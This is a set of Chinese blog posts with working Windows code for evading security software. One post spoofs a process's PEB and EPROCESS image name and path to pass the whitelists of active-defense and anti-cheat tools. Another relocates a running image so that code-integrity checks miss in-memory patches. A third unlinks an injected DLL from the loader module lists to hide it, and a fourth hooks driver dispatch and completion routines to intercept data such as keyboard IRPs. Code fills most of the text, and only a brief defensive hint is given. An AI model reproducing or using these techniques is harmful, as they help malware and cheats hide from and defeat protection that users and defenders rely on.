目前的很多主动防御工具和反XX系统，在对特定进程进行保护的时候，出于兼容性的考虑，都会保留一些白名单。特别是一些系统进程，例如csrss.exe、svchost.exe等等。而针对这些系统进程，判断是否在白名单中的方式，为了简便起见经常采用取系统路径、可执行文件名的方式。

内核中比较明显的能够取到可执行文件路径的方法有下面几个：

1、              通过PEB. ProcessParameters -> ImagePathName取得可执行文件路径，通过PEB. ProcessParameters -> CommandLine取得执行的命令行，以及PEB. ProcessParameters里面其他几个成员取得其他一些相关的路径信息。

2、              通过nt!_EPROCESS的ImageFileName取得。

3、              通过nt!_EPROCESS:: SeAuditProcessCreationInfo:: ImageFileName取得。

4、              通过和_EPROCESS相关的文件对象信息取得。

常见的方式一般只有1、2两种。而上述的前三种方式都可以在运行时被修改掉，用来进行欺骗。特别是PEB里面的信息由于在ring3直接就可以访问，实现上来说非常简单。

下面这段代码通过NtQueryInformationProcess拿到PEB，然后修改路径信息：

HMODULE hMod = GetModuleHandle( _T( "ntdll.dll"));

         pfnNtQueryInformationProcess p = (pfnNtQueryInformationProcess)::GetProcAddress( hMod, "NtQueryInformationProcess");

         PROCESS_BASIC_INFORMATION stInfo = {0};

         DWORD dwRetnLen = 0;

         DWORD dw = p( GetCurrentProcess(), ProcessBasicInformation, &stInfo, sizeof(stInfo), &dwRetnLen);

         PPEB pPeb = stInfo.PebBaseAddress;

         WCHAR wszFullPath[MAX_PATH] = {0};

         WCHAR wszTmp2[MAX_PATH] = {0};

         wcscpy( wszFullPath, wszPath);

         MultiByteToWideChar( CP_THREAD_ACP, 0, szName, -1, wszTmp2, MAX_PATH);

         wcscat( wszFullPath, wszTmp2);

         wcscpy( pPeb->ProcessParameters->ImagePathName.Buffer, wszFullPath);

         pPeb->ProcessParameters->ImagePathName.Length = wcslen( wszFullPath) * sizeof(WCHAR);

         int nParamStart = 0;

         WCHAR *wszTmp = new WCHAR[pPeb->ProcessParameters->CommandLine.MaximumLength];

         ZeroMemory( wszTmp, sizeof(WCHAR) * pPeb->ProcessParameters->CommandLine.MaximumLength);

         wcscpy( wszTmp, pPeb->ProcessParameters->CommandLine.Buffer);

         if ( pPeb->ProcessParameters->CommandLine.Buffer[0] == '"')

         {

                   for ( int i = 1; i < pPeb->ProcessParameters->CommandLine.Length / 2; i++)

                   {

                            if ( pPeb->ProcessParameters->CommandLine.Buffer[i] == '"')

                            {

                                     nParamStart = i;

                            }

                   }

         }

         if ( nParamStart != 0)

         {

                   if ( pPeb->ProcessParameters->CommandLine.Buffer[0] == '"')

                   {

                            pPeb->ProcessParameters->CommandLine.Buffer[0] = NULL;

                            wcscat( pPeb->ProcessParameters->CommandLine.Buffer, L"\"");

                   }

                   else

                   {

                            pPeb->ProcessParameters->CommandLine.Buffer[0] = NULL;

                   }

                   wcscat( pPeb->ProcessParameters->CommandLine.Buffer, wszFullPath);

                   wcscat( pPeb->ProcessParameters->CommandLine.Buffer, wszTmp + nParamStart);

         }

         delete[] wszTmp;

这个方式可以欺骗通过toolhelp函数枚举出来的模块路径，以及直接读取PEB获取进程主模块路径的方式。

另外，通过修改EPROCESS中的主模块名信息，可以欺骗一些在驱动层的程序。基本的代码如下：

首先需要获取EPROCESS里面ImageFileName的偏移。这个函数必须在DriverEntry里面调用。

ULONG GetNameOffsetInEProcss()

{

         PEPROCESS pProcess = NULL;

         ULONG i = 0;

         pProcess = PsGetCurrentProcess();

         for ( i = 0; i < 0x1000; i++)

         {

                   if ( strncmp( "System", (PUCHAR)pProcess + i, strlen("System")) == 0)

                   {

                            return i;

                   }

         }

         return 0;

}

然后可以在IoCtrl里面修改当前进程的名字：

case IOCTL_CHANGE_EXENAME:

                            szName = (char*)Irp->AssociatedIrp.SystemBuffer;

                            if ( !szName)

                            {

                                     ntStatus = STATUS_UNSUCCESSFUL;

                                     break;

                            }

                            pEProcess = PsGetCurrentProcess();

                            strncpy( (PCHAR)pEProcess + g_NameOffsetInEProcess, szName, 16);

                            ntStatus = STATUS_SUCCESS;

                            break;

由于只是示例，所以只实现了良种方式。修改SeAuditProcessCreationInfo里面的信息，考虑到兼容性问题，可能稍微复杂一点。不过也可以比较容易的实现。

这种方式的伪装可以穿过多少主动防御工具没有试过，大家可以去看看，哈哈。

至于对付的方式，可以通过上面说的第四种取进程路径的方法。不过就比较复杂了，呵呵。

流程就是，通过EPROCESS的SectionObject获得文件的FilePointer，通过ObQueryNameString取得这个对象的名字。然后就可以取得主映像模块的路径了。详细的代码可以参考wrk中NtQueryInformationProcess的相关实现。

下面是实现代码:
ImgPathChanger.rar

关键字：代码校验，内存补丁，hook

我们有时候需要对运行中的程序打内存补丁，或者对它的代码挂一些钩子之类的工作。但是现在相当多软件进行了运行时的代码检测。一旦发现内存中的代码被修改掉，就会进行处理。本文介绍了一种比较特别的办法，用于通过这些检测。

首先需要说一下做运行时代码校验的方法。一般来说，校验者需要取得当前模块的基地址，通过分析PE结构，获得代码节的偏移和大小，然后对内存中的代码进行CRC或者其他的一些校验。

这其中有个很大的问题，校验者默认了通过这种方式取得的代码节就是当前被使用到的代码，但是事实却不一定如此。一般编译器正常生成的代码，绝大部分跳转和call语句都使用相对地址，因此，我们完全可以把代码节或者整个exe文件映像复制到内存其他地方，并操作进程内的所有线程，使得它执行在新复制的那份代码中。这样，校验者仍然在扫描旧的地址，新的那份我们就可以随意修改了。

由于一旦进程开始执行，并且创建其他线程之后，我们通过取得线程Context获得的EIP，多半在系统代码中间，所以难以改变。唯一的方法就是，在exe的EntryPoint被执行前，将EntryPoint重定向到新的代码，并Hook CreateThread，将新线程也重新定位。可以通过下面几个步骤来实现：

1、 如果想处理的进程为a.exe，并且a.exe是由b.exe创建的，那么我们需要hook掉b.exe的进程创建函数，一般是CreateProcess。

2、 在Hook的CreateProcess中，以CREATE_SUSPENDED标志创建a.exe。并向a.exe中注入我们的dll，等待这个dll完成处理之后才ResumeThread a.exe的主线程。

3、 注入的dll需要完成几件事。首先要获得主模块的基地址和大小，并分配足够的空间，将原始映像复制过去。然后Hook掉EntryPoint，并Hook CreateThread，最后恢复a.exe主线程。

4、 Hook掉的EntryPoint中，恢复被Hook的EntryPoint代码，防止在后面被检查出来，然后jmp到新分配的代码区域即可。

5、 Hook的CreateThread中，重新计算代码线程函数地址，并修改后创建。这样，所有线程就都在新分配的代码中执行了。

下面是注入的dll的实现代码：

pfnCreateThread g_pCreateThread = ::CreateThread;

PBYTE    g_pbyNewImage = NULL;

#pragma pack(push,1)

typedef struct _PUSH_RETN

{

     BYTE byOpcodePush;//0x68

     DWORD dwRetnAddr;

     BYTE byOpcodeRetn;//0xC3

}PUSH_RETN, *PPUSH_RETN;

#pragma pack(pop)

BYTE g_abyOldEntry[6] = {0};

PBYTE g_pbyOldEntry = 0;

PBYTE g_pbyNewEntry = 0;

//这里使用Detours库Hook掉CreateThread。

BOOL HookThreadCreate()

{

     DetourTransactionBegin();

     DetourUpdateThread( GetCurrentThread());

     if( DetourAttach( &(PVOID&)g_pCreateThread, Hook_CreateThread) != NO_ERROR)

     {

         DebugOut( TEXT( "Hook CreateThread fail\r\n"));

     }

     if( DetourTransactionCommit() != NO_ERROR)

     {

         DebugOut( TEXT( "Hook fail\r\n"));

         return FALSE;

     }

     else

     {

         DebugOut( TEXT( "Hook ok\r\n"));

         return TRUE;

     }

}

//Hook的CreateThread里面，重新计算lpStartAddress地址，并按这个地址来创建

HANDLE WINAPI Hook_CreateThread(

                                     LPSECURITY_ATTRIBUTES lpThreadAttributes,

                                      SIZE_T dwStackSize,

                                     LPTHREAD_START_ROUTINE lpStartAddress,

                                     LPVOID lpParameter,

                                     DWORD dwCreationFlags,

                                     LPDWORD lpThreadId

                                     )

{

     PBYTE pfn = (PBYTE)lpStartAddress;

     HMODULE hMod = ::GetModuleHandle( NULL);

     pfn = g_pbyNewImage + (pfn - (PBYTE)hMod);

    HANDLE hThread = g_pCreateThread( lpThreadAttributes, dwStackSize, (LPTHREAD_START_ROUTINE)pfn, lpParameter, dwCreationFlags, lpThreadId);

     return hThread;

}

//Hook掉的入口点，恢复旧代码并跳转到新分配的代码空间

__declspec( naked ) VOID Hook_EntryPoint()

{

     //_asm int 3

     for ( DWORD i = 0; i < sizeof(g_abyOldEntry); i++)

     {//恢复旧的代码

         g_pbyOldEntry[i] = g_abyOldEntry[i];

     }

     _asm jmp g_pbyNewEntry;

}

//Hook掉入口点

VOID HookEntryPoint()

{

     DebugOut( _T( "In HookEntryPoint\r\n"));

     HMODULE hMod = ::GetModuleHandle( NULL);

     PIMAGE_DOS_HEADER pstDosHeader = (PIMAGE_DOS_HEADER)hMod;

     PIMAGE_NT_HEADERS pstHeader = (PIMAGE_NT_HEADERS)((PBYTE)hMod + pstDosHeader->e_lfanew);

     DWORD dwEntryRVA = pstHeader->OptionalHeader.AddressOfEntryPoint;

     PBYTE pbyRVA = (PBYTE)(hMod) + dwEntryRVA;

     PPUSH_RETN pstHook = (PPUSH_RETN)pbyRVA;

     memcpy( g_abyOldEntry, pbyRVA, sizeof(PUSH_RETN));

     pstHook->byOpcodePush = 0x68;

     pstHook->dwRetnAddr = (DWORD)Hook_EntryPoint;

     pstHook->byOpcodeRetn = 0xC3;

     g_pbyOldEntry = pbyRVA;

     g_pbyNewEntry = g_pbyNewImage + dwEntryRVA;

     DebugOut( _T("New image base = 0x%X, New EntryPoint = 0x%X\r\n \

                   Old image base = 0x%X, Old EntryPoint = 0x%X\r\n"), g_pbyNewImage, g_pbyNewEntry, hMod, g_pbyOldEntry);

     DebugOut( _T( "HookEntryPoint OK\r\n"));

}

//在DllMain里面Process Attach的时候调用

VOID OnAttachProcess()

{

     HMODULE hMod = ::GetModuleHandle( NULL);

     DWORD dwSize = GetImageSize();

     g_pbyNewImage = new BYTE[dwSize];

     DWORD dwOldProtect = 0;

     VirtualProtect( g_pbyNewImage, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);

     VirtualProtect( (LPVOID)hMod, dwSize, PAGE_READWRITE, &dwOldProtect);

     memcpy( g_pbyNewImage, (LPVOID)hMod, dwSize);

     HookEntryPoint();

     HookThreadCreate();

}

//获得主模块映像大小

DWORD GetImageSize()

{

     HANDLE hShot = NULL;

     BOOL blResult = FALSE;

     MODULEENTRY32 stInfo = {0};

     stInfo.dwSize = sizeof( MODULEENTRY32);

     TCHAR tszTmp[MAX_PATH] = {0};

     ::GetModuleFileName( GetModuleHandle(NULL), tszTmp, MAX_PATH);

     _tcslwr( tszTmp);

     size_t s = _tcslen(tszTmp);

     for ( DWORD i = 0; i < s; i++)

     {

         if ( tszTmp[s - i] == '\\')

         {

              s = s - i + 1;

              break;

         }

     }

     hShot = ::CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, ::GetCurrentProcessId());

     if ( INVALID_HANDLE_VALUE == hShot)

     {

         DebugOut( _T( "CreateToolhelp32Snapshot fail.Err=%d\r\n"), GetLastError());

         return 0;

     }

     blResult = ::Module32First( hShot, &stInfo);

     while ( blResult)

     {

         _tcslwr( stInfo.szModule);

         if ( _tcscmp( stInfo.szModule, tszTmp + s) == 0)

         {

              CloseHandle( hShot);

              return stInfo.modBaseSize;

         }

         blResult = ::Module32Next( hShot, &stInfo);

     }

     CloseHandle( hShot);

     return 0;

}

这种方法对加壳之后的exe作用有限，因为Hook的并不是真实的OEP。这样做常常会造成壳执行过程中，或者跳转到OEP之后迅速崩溃。本文仅仅是介绍一种思想，有时候巧妙的构思可以使得复杂问题很快得到解决。

 http://netroc682.spaces.live.com/

        为了避免自己的某个dll模块被别人检测出来，有时候希望在自己加载一个dll之后，或者将dll注入到他人进程之后避免被检查出来。这就需要想办法抹掉这个dll的模块信息，使得Toolhelp、psapi等枚举模块的API无法枚举它。

        我们可以先简单看看Windows枚举进程内模块的办法吧：

        首先是BOOL EnumProcessModules( HANDLE hProcess, HMODULE* lphModule, DWORD cb, LPDWORD lpcbNeeded);

        EnumProcessModules实际调用EnumProcessModulesInternal进行枚举。下面是vista下psapi的代码片断：

.text:514024B8                 push    ebx

.text:514024B9                 push    18h

.text:514024BB                 lea     eax, [ebp+stProcessBasicInfo]

.text:514024BE                 push    eax

.text:514024BF                 push    ebx      ;ebx=0

.text:514024C0                 push    [ebp+hProcess]

.text:514024C3                 call    ds:__imp__NtQueryInformationProcess@20 ; NtQueryInformationProcess(x,x,x,x,x)

.text:514024C9                 cmp     eax, ebx

.text:514024CB                 jge     short loc_514024E0

        调用NtQueryInformationProcess获得ProcessBasicInformation，在PROCESS_BASIC_INFORMATION结构中取得PEB地址。然后读取指定进程PEB中的数据

text:514024E0 loc_514024E0:                           ; CODE XREF: EnumProcessModulesInternal(x,x,x,x,x)+24j

.text:514024E0                 mov     eax, [ebp+stProcessBasicInfo.PebBaseAddress]

.text:514024E3                 cmp     eax, ebx

.text:514024E5                 jnz     short loc_514024EE

.text:514024E7                 push    8000000Dh

.text:514024EC                 jmp     short loc_514024CE

.text:514024EE ; ---------------------------------------------------------------------------

.text:514024EE

.text:514024EE loc_514024EE:                           ; CODE XREF: EnumProcessModulesInternal(x,x,x,x,x)+3Ej

.text:514024EE                 push    ebx             ; lpNumberOfBytesRead

.text:514024EF                 push    4               ; nSize

.text:514024F1                 lea     ecx, [ebp+Ldr]

.text:514024F4                 push    ecx             ; lpBuffer

.text:514024F5                 add     eax, 0Ch

.text:514024F8                 push    eax             ; lpBaseAddress

.text:514024F9                 push    [ebp+hProcess] ; hProcess

.text:514024FC                 mov     edi, ds:__imp__ReadProcessMemory@20 ; ReadProcessMemory(x,x,x,x,x)

.text:51402502                 call    edi ; ReadProcessMemory(x,x,x,x,x) ; ReadProcessMemory(x,x,x,x,x)

这里读取的是PEB地址+0C处的四个字节。

通过WinDbg我们可以看看nt!_PEB的结构

0: kd> dt nt!_PEB

   +0x000 InheritedAddressSpace : UChar

   +0x001 ReadImageFileExecOptions : UChar

   +0x002 BeingDebugged    : UChar

   +0x003 SpareBool        : UChar

   +0x004 Mutant           : Ptr32 Void

   +0x008 ImageBaseAddress : Ptr32 Void

   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA

  +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS

……

+0C处是一个_PEB_LDR_DATA结构指针，里面包含了和LDR相关的一些数据，进程的模块链表就保存在Ldr中。下面是_PEB_LDR_DATA的结构：

0: kd> dt nt!_PEB_LDR_DATA

   +0x000 Length           : Uint4B

   +0x004 Initialized      : UChar

   +0x008 SsHandle         : Ptr32 Void

   +0x00c InLoadOrderModuleList : _LIST_ENTRY

   +0x014 InMemoryOrderModuleList : _LIST_ENTRY

   +0x01c InInitializationOrderModuleList : _LIST_ENTRY

   +0x024 EntryInProgress : Ptr32 Void

其中，InLoadOrderModuleList、InMemoryOrderModuleList、InInitializationOrderModuleList就是进程当前已加载模块的链表，只是按照不同的方式排序。EnumProcessModules是通过InMemoryOrderModuleList链表枚举的，而根据Win2k代码，ToolHelp32函数是通过InLoadOrderModuleList枚举。这三个_LIST_ENTRY都是在一个RTL_PROCESS_MODULE_INFORMATION结构中的成员。这个结构在2k代码中有引用，不过没有确切的定义，下面是ReactOS中的定义，不过看起来我的vista PSAPI中使用的结构已经有所变化了，这里只作参考。

//

// Loader Data Table Entry

//

typedef struct _LDR_DATA_TABLE_ENTRY

{

    LIST_ENTRY InLoadOrderLinks;

    LIST_ENTRY InMemoryOrderModuleList;

    LIST_ENTRY InInitializationOrderModuleList;

    PVOID DllBase;

    PVOID EntryPoint;

    ULONG SizeOfImage;

    UNICODE_STRING FullDllName;

    UNICODE_STRING BaseDllName;

    ULONG Flags;

    USHORT LoadCount;

    USHORT TlsIndex;

    union

    {

        LIST_ENTRY HashLinks;

        PVOID SectionPointer;

    };

    ULONG CheckSum;

    union

    {

        ULONG TimeDateStamp;

        PVOID LoadedImports;

    };

    PVOID EntryPointActivationContext;

    PVOID PatchInformation;

} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

到这里，隐藏模块的方法就已经明了了：通过PEB取得Ldr数据，拿到三个模块链表，并将要隐藏的模块断链即可。下面是主要代码实现：

BOOL HideMyself()

{

     HMODULE hMod = GetModuleHandle( _T( "ntdll.dll"));

     HMODULE hModMyself = GetModuleHandle( _T("dll.dll"));

     pfnNtQueryInformationProcess p = (pfnNtQueryInformationProcess)::GetProcAddress( hMod, "NtQueryInformationProcess");

     PROCESS_BASIC_INFORMATION stInfo = {0};

     DWORD dwRetnLen = 0;

     DWORD dw = p( GetCurrentProcess(), 0, &stInfo, sizeof(stInfo), &dwRetnLen);

     PPEB pPeb = stInfo.PebBaseAddress;

     PLIST_ENTRY ListHead, Current;

     PLDR_DATA_TABLE_ENTRY pstEntry = NULL;

     ListHead = &( stInfo.PebBaseAddress->Ldr->InLoadOrderModuleList);

     Current = ListHead->Flink;

     while ( Current != ListHead)

     {

         pstEntry = CONTAINING_RECORD( Current, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

         //DebugOutW( L"Module:%s, base:0x%X\r\n", pstEntry->FullDllName.Buffer, pstEntry->EntryPoint);

         if ( pstEntry->DllBase == hModMyself)

         {

              pstEntry->InLoadOrderLinks.Flink->Blink = pstEntry->InLoadOrderLinks.Blink;

              pstEntry->InLoadOrderLinks.Blink->Flink = pstEntry->InLoadOrderLinks.Flink;

              DebugOut( _T( "Hide injected dll."));

              break;

         }

         Current = pstEntry->InLoadOrderLinks.Flink;

     }

     ListHead = &( stInfo.PebBaseAddress->Ldr->InMemoryOrderModuleList);

     Current = ListHead->Flink;

     while ( Current != ListHead)

     {

         pstEntry = CONTAINING_RECORD( Current, LDR_DATA_TABLE_ENTRY, InMemoryOrderModuleList);

         DebugOutW( L"Module:%s, base:0x%X\r\n", pstEntry->FullDllName.Buffer, pstEntry->EntryPoint);

         if ( pstEntry->DllBase == hModMyself)

         {

              pstEntry->InMemoryOrderModuleList.Flink->Blink = pstEntry->InMemoryOrderModuleList.Blink;

              pstEntry->InMemoryOrderModuleList.Blink->Flink = pstEntry->InMemoryOrderModuleList.Flink;

              DebugOut( _T( "Hide injected dll."));

              break;

         }

         Current = pstEntry->InMemoryOrderModuleList.Flink;

     }

     DebugOutW( L"\r\n");

     ListHead = &( stInfo.PebBaseAddress->Ldr->InInitializationOrderModuleList);

     Current = ListHead->Flink;

     while ( Current != ListHead)

     {

         pstEntry = CONTAINING_RECORD( Current, LDR_DATA_TABLE_ENTRY, InInitializationOrderModuleList);

         DebugOutW( L"Module:%s, base:0x%X\r\n", pstEntry->FullDllName.Buffer, pstEntry->EntryPoint);

         if ( pstEntry->DllBase == hModMyself)

         {

              pstEntry->InInitializationOrderModuleList.Flink->Blink = pstEntry->InInitializationOrderModuleList.Blink;

              pstEntry->InInitializationOrderModuleList.Blink->Flink = pstEntry->InInitializationOrderModuleList.Flink;

              DebugOut( _T( "Hide injected dll."));

              break;

         }

         Current = pstEntry->InInitializationOrderModuleList.Flink;

     }

     //DebugOut( _T("Out HideMyself\r\n"));

     return TRUE;

}

        这样处理之后，通过常规的枚举进程方式已经枚举不到隐藏模块，ProcessExplorer也无法枚举。但是，通过枚举进程内存空间等非常规方法，仍然是可以找到的。关于PSAPI和Toolhelp函数枚举模块的原理，可以逆向Windows代码，或者查找网上的代码看看就明白了。

NetRoc

一直想写点技术文章的，但是每次想起这事的时候没时间，有时间的时候又提不起兴致J。

我们有时候需要从系统中某些驱动处理数据的方式，例如作一些过滤、对数据进行一些修改或者监视通过某个设备栈的数据等等。通常情况下是采用Filter Driver的方式实现。但是这样有种种局限性：容易暴露自己的存在、有些情况下可能不能再Detach掉，升级驱动的时候必须重启机器等等。

这里介绍两种通过HOOK方式截取数据的方法。

1、 Hook Dispatch例程。

首先通过ObReferenceObjectByName等函数拿到被Hook设备的DriverObject。有了这个之后，我们就可以用指向自己例程的指针改写MajorFunction数组里面的指针。

NTSTATUS ntStatus = STATUS_SUCCESS;

UNICODE_STRING wszDriverName;

PDRIVER_OBJECT pDriverObject = NULL;

PDRIVER_DISPATCH pOrgDispatch = NULL;

RtlInitUnicodeString( &wszDriverName, DRIVER_NAME);

ntStatus = ObReferenceObjectByName( &wszDriverName,

                  0,

                  NULL,

                  0,

                  *IoDriverObjectType,

                  //NULL,

                  KernelMode,

                  NULL,

                  (PVOID*)&pDriverObject);

if( !NT_SUCCESS(ntStatus))

{

                  DbgPrint( "ObReferenceObjectByName Fail.\r\n");

                  return FALSE;

}

          pOrgDispatch = (PDRIVER_DISPATCH) InterlockedExchange( ( PLONG)&pDriverObject->MajorFunction[IRP_MJ_READ], (LONG)&DispatchMyRead);

          ……

卸载的时候同样这样修改回去即可。

这种方法比较方便，由于只需要改写一个函数指针，避免了inline hook的很多不稳定因素。另外，在调用原来的Dispatch例程的时候也只需要直接call它就行了。

但是，如果有些IRP不能立即完成的，例如键盘鼠标驱动的IRP，用这种方法就拿不到完成时候的数据了。因此我们还需要第二种方式J

2、 Hook Completion Routine。

在Hook掉的Dispatch里面，我们已经拿到了发到下层驱动的IRP。想在完成时再获得控制权，很简单，只需要再Hook掉Completion Routine。

NTSTATUS DispatchMyRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRP Irp)

{

         PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation( Irp);

         //需要保存一下旧的完成例程信息

              g_RecentIrpInfo.ComplettionRoutine = irpSp->CompletionRoutine;

              g_RecentIrpInfo.Context = irpSp->Context;

              g_RecentIrpInfo.Control = irpSp->Control;

              g_RecentIrpInfo.irpSp = irpSp;

              //安装自己的完成例程

              irpSp->CompletionRoutine = MyIoCompletion;

              irpSp->Context = NULL;

              irpSp->Control = SL_INVOKE_ON_SUCCESS;    

              //OK，call下去。

ntStatus = g_ pOrgDispatch ( pDeviceObject, Irp);

return ntStatus;

}